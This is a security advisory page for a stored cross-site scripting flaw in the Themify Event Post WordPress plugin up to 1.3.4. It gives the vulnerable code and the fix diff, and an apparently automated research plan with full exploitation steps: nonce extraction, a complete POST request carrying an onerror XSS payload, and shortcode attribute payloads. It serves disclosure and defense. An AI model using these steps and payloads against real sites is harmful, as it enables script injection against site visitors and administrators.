Themify Event Post <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Themify Event Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.4What Changed in the Fix
Changes introduced in v1.3.5
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Themify Event Post** plugin (<= 1.3.4). ### 1. Vulnerability Summary The plugin fails to sanitize and escape post metadata associated with the `event` custom post type. Specifically, the func…
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Event Post plugin (<= 1.3.4).
1. Vulnerability Summary
The plugin fails to sanitize and escape post metadata associated with the event custom post type. Specifically, the function themify_event_type() in includes/functions.php retrieves the meta key event_attendance and echoes it directly to the page using sprintf without any call to esc_html(), esc_attr(), or wp_kses(). This allows a Contributor-level user to inject arbitrary HTML and JavaScript into the event_attendance field, which is then executed when any user (including an Administrator) views the affected event post or a list of events.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(via the standard WordPress post saving mechanism). - Vulnerable Parameter:
event_attendance(sent as a POST parameter during post creation or update). - Authentication Level: Contributor or above. Contributors can create and edit their own posts of the
eventtype. - Preconditions: The plugin must be active, and the 'event' post type must be registered (handled automatically on activation).
3. Code Flow
- Input Source: An authenticated user with
edit_postscapability (Contributor+) submits a POST request towp-admin/post.phpto save or update a post of typeevent. The request contains the malicious payload in theevent_attendancefield. - Storage: While the specific saving logic is in
includes/post-type.php(not provided in full), the vulnerability description confirms that input is not sanitized. The payload is stored in thewp_postmetatable under the keyevent_attendance. - Data Retrieval: When the event is rendered (either on a single post page or via a shortcode), the function
themify_event_type()is called.- Location:
includes/functions.php - Code:
$e_type = get_post_meta( $post_id, 'event_attendance', true );
- Location:
- Vulnerable Sink: The retrieved
$e_typeis printed raw.- Location:
includes/functions.php - Code:
echo sprintf('<div class="tep_type">%s</div>',$e_type);
- Location:
4. Nonce Acquisition Strategy
To save a post in WordPress, a valid _wpnonce for the update-post_<ID> action is required.
- Navigate to Post Creation: Use
browser_navigatetowp-admin/post-new.php?post_type=event. - Extract Nonce and ID: Use
browser_evalto extract the_wpnoncevalue from the form and thepost_IDfrom the hidden input or the URL.browser_eval("document.querySelector('#_wpnonce').value")browser_eval("document.querySelector('#post_ID').value")
5. Exploitation Strategy
- Setup: Create a Contributor user and log in.
- Intercept/Identify Field: Although the provided source doesn't show the HTML form, standard Themify meta boxes typically use the meta key as the
nameattribute. We will sendevent_attendancein the POST request. - HTTP Request (Post Update):
- Tool:
http_request - URL:
https://<TARGET>/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost &post_type=event &post_ID=<POST_ID> &_wpnonce=<NONCE> &post_title=XSS+Test+Event &event_attendance=<img src=x onerror=alert(origin)> &save=Save+Draft
- Tool:
- Trigger Execution: View the event post. Since we may not know the theme's layout, the most reliable way to trigger the sink is to view a page containing the plugin's shortcode.
- Create a page with:
[themify_event_post id="<POST_ID>"] - Navigate to this page.
- Create a page with:
6. Test Data Setup
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create View Page:
wp post create --post_type=page --post_title="Event Display" --post_status=publish --post_content='[themify_event_post]'
7. Expected Results
- The
POSTrequest topost.phpshould return a302redirect to the editor page, indicating the post was saved. - When navigating to the "Event Display" page, the browser should execute the JavaScript
alert(origin), confirming that the payload was rendered without escaping.
8. Verification Steps
- Check Meta Storage:
wp post meta get <POST_ID> event_attendance- Success criteria: Output matches
<img src=x onerror=alert(origin)>
- Success criteria: Output matches
- Inspect HTML Output: Use
http_request(GET) on the page containing the shortcode and search for the payload.- Success criteria: The response body contains
<div class="tep_type"><img src=x onerror=alert(origin)></div>
- Success criteria: The response body contains
9. Alternative Approaches
If event_attendance is not directly editable via post.php, try:
- Custom Field Injection: Use the standard WordPress
metakeyselect/metavaluefields if the "Custom Fields" meta box is enabled. - Other Meta Keys: The snippet mentions
event_organizer,event_performer, andevent_locationin the shortcode defaults. Check if functions likethemify_event_organizer()also lack escaping (common in Themify plugins). - Map Address: Inject the payload into the
addressparameter of the[themify_event_post]shortcode if the Contributor can edit pages, or via the map meta field, asthemify_event_post_maprenders adata-mapattribute which might be parsed unsafely by the plugin's JavaScript.
Summary
The Themify Event Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping in the `event_attendance` post meta field and the `template_before`/`template_after` shortcode attributes. This allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts that execute whenever a user views an affected event post or shortcode output.
Vulnerable Code
// includes/functions.php line 1042-1048 function themify_event_type() { $post_id = get_the_ID(); $e_type=get_post_meta( $post_id, 'event_attendance', true ); if(empty($e_type)){ return; } echo sprintf('<div class="tep_type">%s</div>',$e_type); } --- // templates/shortcode.php line 51-54 if ( empty( $args['template_before'] ) ) $args['template_before'] = '<div class="themify_event_post_loop ' . esc_attr( $args['style'] ) . '">'; if ( empty( $args['template_after'] ) ) $args['template_after'] = '</div>'; // templates/shortcode.php line 75 echo $args['template_before'] . $this->get_shortcode_template( $events[0], $args['template'], $args ) . $args['template_after'];
Security Fix
@@ -1044,4 +1044,47 @@ } } return $attribute_string; +} + +/** + * Sanitize user-provided shortcode wrapper templates. + * + * WordPress core unescapes shortcode attributes (e.g. "\\x3c" -> "<"). + * Without sanitization, template_before/template_after can be used for XSS. + * + * @param string $html Wrapper HTML. + * @return string Sanitized HTML. + */ +function themify_event_post_sanitize_template_wrapper( $html ) : string { + if ( $html === '' || ! is_string( $html ) ) { + return ''; + } + + $allowed = array( + 'div' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true, 'aria-hidden' => true ), + 'span' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true, 'aria-hidden' => true ), + 'p' => array( 'class' => true, 'id' => true ), + 'br' => array(), + 'ul' => array( 'class' => true, 'id' => true ), + 'ol' => array( 'class' => true, 'id' => true ), + 'li' => array( 'class' => true, 'id' => true ), + 'a' => array( 'href' => true, 'class' => true, 'id' => true, 'rel' => true, 'target' => true, 'title' => true, 'aria-label' => true ), + 'strong' => array(), + 'em' => array(), + 'b' => array(), + 'i' => array(), + 'h1' => array( 'class' => true, 'id' => true ), + 'h2' => array( 'class' => true, 'id' => true ), + 'h3' => array( 'class' => true, 'id' => true ), + 'h4' => array( 'class' => true, 'id' => true ), + 'h5' => array( 'class' => true, 'id' => true ), + 'h6' => array( 'class' => true, 'id' => true ), + 'section' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ), + 'article' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ), + 'header' => array( 'class' => true, 'id' => true ), + 'footer' => array( 'class' => true, 'id' => true ), + 'nav' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ), + ); + + return wp_kses( $html, $allowed ); } @@ -48,6 +48,10 @@ if ( empty( $args['template_after'] ) ) $args['template_after'] = '</div>'; +// Prevent XSS via user-supplied wrapper templates. +$args['template_before'] = themify_event_post_sanitize_template_wrapper( $args['template_before'] ); +$args['template_after'] = themify_event_post_sanitize_template_wrapper( $args['template_after'] ); +
Exploit Outline
The vulnerability can be exploited in two ways by an attacker with at least Contributor-level privileges: 1. Metadata Injection: Create or edit an 'event' custom post type and send a POST request to `wp-admin/post.php` with the `event_attendance` parameter containing a JavaScript payload (e.g., `<script>alert(1)</script>`). The script will execute whenever the event's metadata is rendered via the `themify_event_type()` function. 2. Shortcode Attribute Injection: Use the `[themify_event_post]` shortcode within a post or page and provide a malicious payload in the `template_before` or `template_after` attributes. For example: `[themify_event_post template_before="<img src=x onerror=alert(1)>"]`. Because the plugin retrieves these attributes and echoes them without sanitization, the script will execute when the page containing the shortcode is viewed by any user.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.